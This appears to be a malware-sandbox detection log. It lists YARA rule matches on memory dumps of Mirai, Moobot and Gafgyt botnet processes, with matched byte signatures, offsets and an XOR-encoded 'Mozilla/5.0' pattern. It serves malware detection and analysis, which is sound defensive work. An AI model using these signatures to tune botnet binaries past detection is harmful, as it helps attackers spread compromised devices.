7243.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6362.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6429.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6429.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6429.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6429.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6429.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6429.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7227.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7227.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7227.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7227.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7227.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7227.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7442.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7184.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7184.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7184.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7184.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7184.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7184.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7271.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6997.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6997.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6997.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6997.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6997.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6997.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6602.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6602.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6602.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6602.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6602.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6602.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6780.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6594.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6617.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7249.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7249.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
